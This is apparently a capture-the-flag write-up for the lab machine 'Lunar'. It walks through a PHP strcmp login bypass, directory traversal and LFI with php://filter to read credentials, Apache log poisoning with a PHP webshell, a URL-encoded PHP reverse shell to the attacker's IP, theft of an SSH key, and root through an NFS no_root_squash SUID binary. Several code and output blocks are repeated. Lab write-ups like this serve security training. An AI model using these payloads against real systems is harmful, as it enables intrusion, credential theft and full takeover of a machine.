Lunar

Target IP: 192.168.205.216
Challenge Description: N/A.


Reconnaissance

116a7be14fe06c58f9699fdd56abb86c.png
Performing a TCP port scan using the command sudo nmap -sS 192.168.205.216 -p- returns the result shown in the image above. There are seven TCP ports open on the target machine.

┌──(kali㉿kali)-[~/Desktop/Labs/CTFs/Lunar]
└─$ sudo nmap -sV -A 192.168.205.216 -p 22,80,111,2049,35235,38755,41721
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-12 11:37 EST
Nmap scan report for 192.168.205.216
Host is up (0.014s latency).

PORT      STATE  SERVICE    VERSION
22/tcp    open   ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
|   256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_  256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
80/tcp    open   http       Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Lunar Studio
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp   open   rpcbind    2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100003  3           2049/udp   nfs
|   100003  3,4         2049/tcp   nfs
|   100005  1,2,3      47068/udp   mountd
|   100005  1,2,3      49303/tcp   mountd
|   100021  1,3,4      45217/tcp   nlockmgr
|   100021  1,3,4      60461/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/udp   nfs_acl
2049/tcp  open   nfs        3-4 (RPC #100003)
35235/tcp open   tcpwrapped
38755/tcp open   tcpwrapped
41721/tcp closed unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/12%OT=22%CT=41721%CU=36258%PV=Y%DS=4%DC=T%G=Y%TM=
OS:6783F000%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%T
OS:S=A)SEQ(SP=103%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M578ST11NW7%O2=M
OS:578ST11NW7%O3=M578NNT11NW7%O4=M578ST11NW7%O5=M578ST11NW7%O6=M578ST11)WIN
OS:(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF
OS:0%O=M578NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(
OS:R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z
OS:%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N
OS:)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%
OS:DFI=N%T=40%CD=S)

Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   12.26 ms 192.168.45.1
2   12.12 ms 192.168.45.254
3   12.71 ms 192.168.251.1
4   13.13 ms 192.168.205.216

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.63 seconds
┌──(kali㉿kali)-[~/Desktop/Labs/CTFs/Lunar]
└─$ sudo nmap -sV -A 192.168.205.216 -p 22,80,111,2049,35235,38755,41721
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-12 11:37 EST
Nmap scan report for 192.168.205.216
Host is up (0.014s latency).

PORT      STATE  SERVICE    VERSION
22/tcp    open   ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
|   256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_  256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
80/tcp    open   http       Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Lunar Studio
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp   open   rpcbind    2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100003  3           2049/udp   nfs
|   100003  3,4         2049/tcp   nfs
|   100005  1,2,3      47068/udp   mountd
|   100005  1,2,3      49303/tcp   mountd
|   100021  1,3,4      45217/tcp   nlockmgr
|   100021  1,3,4      60461/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/udp   nfs_acl
2049/tcp  open   nfs        3-4 (RPC #100003)
35235/tcp open   tcpwrapped
38755/tcp open   tcpwrapped
41721/tcp closed unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/12%OT=22%CT=41721%CU=36258%PV=Y%DS=4%DC=T%G=Y%TM=
OS:6783F000%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%T
OS:S=A)SEQ(SP=103%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M578ST11NW7%O2=M
OS:578ST11NW7%O3=M578NNT11NW7%O4=M578ST11NW7%O5=M578ST11NW7%O6=M578ST11)WIN
OS:(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF
OS:0%O=M578NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(
OS:R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z
OS:%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N
OS:)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%
OS:DFI=N%T=40%CD=S)

Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   12.26 ms 192.168.45.1
2   12.12 ms 192.168.45.254
3   12.71 ms 192.168.251.1
4   13.13 ms 192.168.205.216

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.63 seconds

Running an aggressive TCP port scan using the command sudo nmap -sV -A 192.168.205.216 -p 22,80,111,2049,35235,38755,41721 returns the result shown in the output above. The target machine is running the SSH application OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 on port 22. On port 80, the web server is using Apache httpd 2.4.41. NFS is open on the target machine at port 2049. RPC is also open on port 111. Time to check these ports out further.


Enumeration

Port 80: HTTP
dd8264fa9c4972b87c2fdac47c6c01b2.png
The webpage shown in the picture above is returned for this web application on port 80. Checking through the source-code I identified a few special pages, including a login page. I enumerated the different pages and identified potential usernames.

35c1b0bdb434aa9390335158d059c82f.png
I performed a directory search using the command feroxbuster -u http://192.168.205.216/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,zip,jpg,yml,js,sql -d 6 --scan-dir-listings -C 404 and obtained the result shown in the image above. This scan successfully identified the entry backup.zip. This could be a potential backup of the web application. While the directory search is active, I decided to check out this backup.zip file.

caa71182cb0070ca46543d05531bab8d.png
I browsed to http://192.168.205.216 and the file backup.zip was downloaded on my computer. I extracted the contents and received the output shown above. Running tree shows the contents. There are multiple PHP pages. These source code could include hard coded credentials. Earlier I identified the login page, but I was unable to login. I was unable to perform SQL injection to bypass it either. Maybe I can understand how the web application works by learning how the login.php operates. When I checked the login.php source code, I find this part of the code interesting:

<?php
session_start();
include 'creds.php';
$error = null;
if ($_POST) {

  if ($_POST['email'] && !empty($_POST['email']) && $_POST['email'] === 'liam@lunar.local' && strcmp($_POST['password'], $pwd) == 0) {
    
      $_SESSION['email'] = $_POST['email'];
      
      header('Location: dashboard.php');
      
      die();
  } 
  else {    
      $error = "Email or password is incorrect.";
  }    
    }
?>

<!DOCTYPE html>
<html>
<?php
session_start();
include 'creds.php';
$error = null;
if ($_POST) {

  if ($_POST['email'] && !empty($_POST['email']) && $_POST['email'] === 'liam@lunar.local' && strcmp($_POST['password'], $pwd) == 0) {
    
      $_SESSION['email'] = $_POST['email'];
      
      header('Location: dashboard.php');
      
      die();
  } 
  else {    
      $error = "Email or password is incorrect.";
  }    
    }
?>

<!DOCTYPE html>
<html>

There is a serious vulnerability in the login.php. The script contains the hardcoded username liam@lunar.local. Also, the password is checked using strcmp. This means it can be easily bypassed by naming the variable name password to something like password[]. I fired up burpsuite on my machine. Time to exploit it.

feaa7e701e04994602d2566cfe780e89.png
I intercepted a login request using burpsuite as shown in the image above. I tried to login using the credentials liam@lunar.local:123 but I had no luck.

e1996fa6a5ce103692f395642853bcf7.png
6b00c0ed1b69506ffb4caf4ba83efc12.png
Then I renamed the password to password[]. After sending the Send button, my request got redirected to dashboard.php as mentioned by the HTTP status code 302 Found. After following the redirection, the webpage shown in the picture above inside the burpsuite is returned. Now I can copy the request in my browser using the Show response in browser option.

53c988f0e393aeb1d64c78df187dcde8.png
I copied the request to my browser and obtained the webpage shown in the picture above. Right away, I notice the parameter name show. This parameter seems to be including the page pending or completed depending on which button is pressed. Since the extension .php is missing, the web application seems to automatically append it.


Exploitation

Owning the Web Application via LFI & File Log Poisoning
I checked the source code of dashboard.php and found the following code interesting. The web application automatically appends the .php extension. However, it is possible to include my own extension. Not only that, but the web application also seems to check our input. If the show parameter is set, it must contain the string pending or completed to work; otherwise, the page is not included. This can be bypassed easily by just ensuring either of the string is included. Using this, I can attempt to read the creds.php file.

<?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
        $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['show'])) {
                if(containsStr($_GET['show'], 'pending') || containsStr($_GET['show'], 'completed')) {
                    error_reporting(E_ALL ^ E_WARNING); 
                    include $_GET['show'] . $ext;
                } else {
                    echo 'You can select either one of these only';
                }
            }
        ?>
</section>
<?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
        $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['show'])) {
                if(containsStr($_GET['show'], 'pending') || containsStr($_GET['show'], 'completed')) {
                    error_reporting(E_ALL ^ E_WARNING); 
                    include $_GET['show'] . $ext;
                } else {
                    echo 'You can select either one of these only';
                }
            }
        ?>
</section>

d7c7bda591015be54772984b3a16cbe4.png
And bingo. To bypass the protection mechanism, I used the payload completed/../login; for example, I browsed to http://192.168.205.216/dashboard.php?show=completed/../login. The entire login.php is included in the main web page. This proves the web application is vulnerable to directory traversal as the login.php is included. But this is not what I want. I want to read the creds.php file. And one way to achieve this, rather than including and executing the included PHP file, is through PHP filters.

c2c5d1e421f8ec2befd2d2758e641855.png
As shown in the image above, I used the payload php://filter/read=convert.base64-encode/resource=completed/../creds to obtain the contents of creds.php in base64 format. The full URL with the payload is http://192.168.205.216/dashboard.php?show=php://filter/read=convert.base64-encode/resource=completed/../creds as shown in the image above.

71ae1dca1db95b11fa54403be33b53ac.png
After decoding the base64 string using the command echo 'PD9waHANCiRwd2QgPSAnVGhlYnV0dGVyZmx5c3VtbWVyaXNiZWF1dGlmdWw5MDI5MjgnOw0KPz4=' | base64 -d, I obtained the password Thebutterflysummerisbeautiful902928. I tried to SSH into the target machine using the new credentials, but I had no luck. Time to check if I can manipulate the extension of the included file.

1695170b7c388d1799cc33a6678b9c25.png
Using the payload completed/../../../../../etc/passwd&ext=, I managed to include the /etc/passwd file as shown in the image above. The full URL with the payload is http://192.168.205.216/dashboard.php?show=completed/../../../../../etc/passwd&ext=. Checking the output shows two users: root and liam. Using this same technique, I attempted to read the SSH key of the user liam, but I had no luck. Time to check if I can perform LFI.

ce29880941f36a84726ffbe3f80d7451.png
To check for LFI, I ran the command ffuf -u 'http://192.168.205.216/dashboard.php?show=completed/../../../../../FUZZ&ext=' -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -b "PHPSESSID=anajsc97gu9v71558cb71l2vtk" -fw 1306 | grep ".log" and obtained the result shown in the image above. I successfully obtained the entry /var/log/apache2/access.log which is poisonable. Every time I tried to access the access.log, it would return nothing. After resetting the box, this error went away.

5838bdf2143904c8d788ac59251a5720.png
I browsed to http://192.168.205.216/dashboard.php?show=completed/../../../../../var/log/apache2/access.log&ext= and now I am able to access the access.log file. Now I can attempt to poison it. I intercepted a request to the login.php page using burpsuite on my machine first.

8b7d95abd34b77e6844c8681842d7f0e.png
As shown in the previous image, the access.log contains browser information such as the user agent. To poison the log, I can insert a simple PHP webshell directly after the User-Agent: header field; for example, User-Agent: <?php echo system($_GET['cmd']); ?>, as shown in the image above. Then I sent the request.

ec3c319bc0e6a319b05d6174f3afce7f.png
When I issue the command id, I obtain the result shown in the image above. The full URL with the payload is http://192.168.205.216/dashboard.php?show=completed/../../../../../var/log/apache2/access.log&ext=&cmd=id. Now I can perform Remote Code Execution (RCE) using this poisoned log file. The session seems to be of www-data. I can now attempt to obtain a reverse shell connection. I started a listener on my machine at port 8443.

c19cffe04c909d7ae037bfc46b741e88.png
Using the poisoned log file, I deployed the URL encoded PHP reverse shell php%20-r%20%27%24sock%3Dfsockopen%28%22192.168.45.167%22%2C8443%29%3Bshell_exec%28%22%2Fbin%2Fbash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27. This invokes a reverse shell connection to my machine at port 8443. The full URL with the payload is 192.168.205.216/dashboard.php?show=completed/../../../../../var/log/apache2/access.log&ext=&cmd=php -r '%24sock%3Dfsockopen("192.168.45.167"%2C8443)%3Bshell_exec("%2Fbin%2Fbash <%263 >%263 2>%263")%3B'. As shown in the image above, now I have a reverse shell connection on my machine at port 8443 with the session as the user www-data. Time to elevate my privileges :)


Privilege Escalation

Horizontal Privilege Escalation: User www-data to User liam via Saved SSH Key
9ca9124b4b8c98f3dcf54d4ed56f5d4a.png
I transferred linpeas to the target machine. And this automated tool found the SSH key id_rsa belonging to the user liam, as shown in the image above. I copied the content of the key and saved it on my machine.

a2c026d9327d54d4566c4bf3ec5a9f8f.png
I saved the content of the id_rsa on my machine inside a file called id_rsa. Then I changed the permission of the SSH key using the command chmod 400 id_rsa. Afterwards, I connected to the target machine using the command ssh liam@192.168.205.216 -i id_rsa. And bingo! Now I have successfully elevated my privileges on the target machine from www-data to the user liam as shown in the image above. This user also belongs to the group network.

Vertical Privilege Escalation: User liam to User root via NFS Misconfiguration
2251918accd94dbbb9c0d19a83857f2d.png
After running linpeas on the target machine, I also obtained the output shown in the image above. There is a misconfiguration with the NFS file system as the no_root_squash is enabled. However, this is only available to the localhost internally. Since the current user belongs to the network group, I can edit the /etc/hosts file.

50cdb6e5d2fcbf804c51ec061a3cc5aa.png
On the compromised machine, I inserted my IP inside the /etc/hosts using the command echo '192.168.45.167 localhost' >> /etc/hosts. This allows my machine to mount the /srv/share mount that is available on the target machine.

d9e236f665050eb15dfdf9962c06985d.png
Before mounting the NFS share, I ran the command mkdir share. This is the location where I will mount the share. To mount the NFS share, I ran the command sudo mount -t nfs 192.168.205.216:/srv/share share -o nolock. Inside this share directory, I created a file called shell.c that contains the following C code:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(){
  setuid(0);
  setgid(0);
  system("/bin/bash");
}
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(){
  setuid(0);
  setgid(0);
  system("/bin/bash");
}

Then I compiled the C code using the command sudo gcc -static shell.c -o shell on my machine inside the share directory. This output an executable file called bash. Afterwards, I ran the command sudo chmod u+s shell to change the permissions of the bash binary to have SUID bit set. The owner of the file is also changed to root.

cb62ffafb55201bd36052216c9b0553f.png
On the compromised machine, I browsed to /srv/share. And then I used the command ./shell -p to spawn a root shell. And now I have a root shell on the target machine by abusing the NFS misconfiguration.


Flags

25a0cd1218367770c5ffe32a33cb0f8a.png
The two flags, proof.txt and local.txt, are shown in the image above.